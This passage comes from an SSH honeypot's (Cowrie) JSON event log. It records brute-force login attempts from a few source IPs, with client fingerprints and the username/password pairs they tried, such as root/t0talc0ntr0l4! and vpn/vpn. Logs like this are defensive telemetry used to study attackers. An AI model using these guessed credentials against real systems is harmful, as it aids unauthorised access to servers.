0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:24:44.477481Z","src_ip":"5.196.136.131","session":"d5d055e4d0cf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"t0talc0ntr0l4!","message":"login attempt [root/t0talc0ntr0l4!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:24:44.727359Z","src_ip":"5.196.136.131","session":"d5d055e4d0cf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:24:45.811278Z","src_ip":"5.196.136.131","session":"d5d055e4d0cf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.136.131","src_port":18188,"dst_ip":"10.17.0.5","dst_port":22,"session":"a63c20043507","protocol":"ssh","message":"New connection: 5.196.136.131:18188 (10.17.0.5:22) [session: a63c20043507]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:24:48.785113Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:24:48.788293Z","src_ip":"5.196.136.131","session":"a63c20043507","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:24:48.865714Z","src_ip":"5.196.136.131","session":"a63c20043507","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sftpuser","password":"sftpuser","message":"login attempt [sftpuser/sftpuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:24:49.099652Z","src_ip":"5.196.136.131","session":"a63c20043507","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"125.27.12.122","src_port":39734,"dst_ip":"10.17.0.5","dst_port":22,"session":"decc14f91e81","protocol":"ssh","message":"New connection: 125.27.12.122:39734 (10.17.0.5:22) [session: decc14f91e81]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:24:49.169261Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:24:49.173704Z","src_ip":"125.27.12.122","session":"decc14f91e81","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:24:49.438790Z","src_ip":"125.27.12.122","session":"decc14f91e81","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:24:50.179533Z","src_ip":"5.196.136.131","session":"a63c20043507","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"unitedstates2024!","message":"login attempt [root/unitedstates2024!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:24:50.235106Z","src_ip":"125.27.12.122","session":"decc14f91e81","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:24:51.502816Z","src_ip":"125.27.12.122","session":"decc14f91e81","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.136.131","src_port":37737,"dst_ip":"10.17.0.5","dst_port":22,"session":"35b250057b8e","protocol":"ssh","message":"New connection: 5.196.136.131:37737 (10.17.0.5:22) [session: 35b250057b8e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:24:53.182323Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:24:53.186014Z","src_ip":"5.196.136.131","session":"35b250057b8e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:24:53.263449Z","src_ip":"5.196.136.131","session":"35b250057b8e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"super","password":"super","message":"login attempt [super/super] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:24:53.519077Z","src_ip":"5.196.136.131","session":"35b250057b8e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:24:54.599154Z","src_ip":"5.196.136.131","session":"35b250057b8e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.136.131","src_port":49750,"dst_ip":"10.17.0.5","dst_port":22,"session":"bb7a9ffea9bf","protocol":"ssh","message":"New connection: 5.196.136.131:49750 (10.17.0.5:22) [session: bb7a9ffea9bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:24:57.842300Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:24:57.846401Z","src_ip":"5.196.136.131","session":"bb7a9ffea9bf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:24:58.131610Z","src_ip":"5.196.136.131","session":"bb7a9ffea9bf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tactical","password":"tactical","message":"login attempt [tactical/tactical] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:24:58.383939Z","src_ip":"5.196.136.131","session":"bb7a9ffea9bf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:24:59.468843Z","src_ip":"5.196.136.131","session":"bb7a9ffea9bf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.136.131","src_port":52554,"dst_ip":"10.17.0.5","dst_port":22,"session":"5860d05143ea","protocol":"ssh","message":"New connection: 5.196.136.131:52554 (10.17.0.5:22) [session: 5860d05143ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:25:02.297058Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:25:02.303737Z","src_ip":"5.196.136.131","session":"5860d05143ea","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:25:02.383989Z","src_ip":"5.196.136.131","session":"5860d05143ea","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tester","password":"tester","message":"login attempt [tester/tester] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:25:02.623298Z","src_ip":"5.196.136.131","session":"5860d05143ea","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:25:03.702195Z","src_ip":"5.196.136.131","session":"5860d05143ea","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.136.131","src_port":63089,"dst_ip":"10.17.0.5","dst_port":22,"session":"ddc796e27f6b","protocol":"ssh","message":"New connection: 5.196.136.131:63089 (10.17.0.5:22) [session: ddc796e27f6b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:25:06.698472Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:25:06.702785Z","src_ip":"5.196.136.131","session":"ddc796e27f6b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:25:06.780281Z","src_ip":"5.196.136.131","session":"ddc796e27f6b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user10","password":"user10","message":"login attempt [user10/user10] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:25:07.017110Z","src_ip":"5.196.136.131","session":"ddc796e27f6b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:25:08.097509Z","src_ip":"5.196.136.131","session":"ddc796e27f6b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.136.131","src_port":51426,"dst_ip":"10.17.0.5","dst_port":22,"session":"bbff32eff19d","protocol":"ssh","message":"New connection: 5.196.136.131:51426 (10.17.0.5:22) [session: bbff32eff19d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:25:11.075449Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:25:11.079581Z","src_ip":"5.196.136.131","session":"bbff32eff19d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:25:11.156948Z","src_ip":"5.196.136.131","session":"bbff32eff19d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vpn","password":"vpn","message":"login attempt [vpn/vpn] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:25:11.424026Z","src_ip":"5.196.136.131","session":"bbff32eff19d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:25:12.504394Z","src_ip":"5.196.136.131","session":"bbff32eff19d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.136.131","src_port":38208,"dst_ip":"10.17.0.5","dst_port":22,"session":"596f0bfa54fa","protocol":"ssh","message":"New connection: 5.196.136.131:38208 (10.17.0.5:22) [session: 596f0bfa54fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:25:15.514590Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:25:15.517478Z","src_ip":"5.196.136.131","session":"596f0bfa54fa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:25:15.605488Z","src_ip":"5.196.136.131","session":"596f0bfa54fa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"webuser","password":"123456","message":"login attempt [webuser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:25:15.855055Z","src_ip":"5.196.136.131","session":"596f0bfa54fa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:25:16.939897Z","src_ip":"5.196.136.131","session":"596f0bfa54fa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.136.131","src_port":49159,"dst_ip":"10.17.0.5","dst_port":22,"session":"0fe827fe6554","protocol":"ssh","message":"New connection: 5.196.136.131:49159 (10.17.0.5:22) [session: 0fe827fe6554]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:25:20.035902Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:25:20.039686Z","src_ip":"5.196.136.131","session":"0fe827fe6554","protocol":"ssh"}
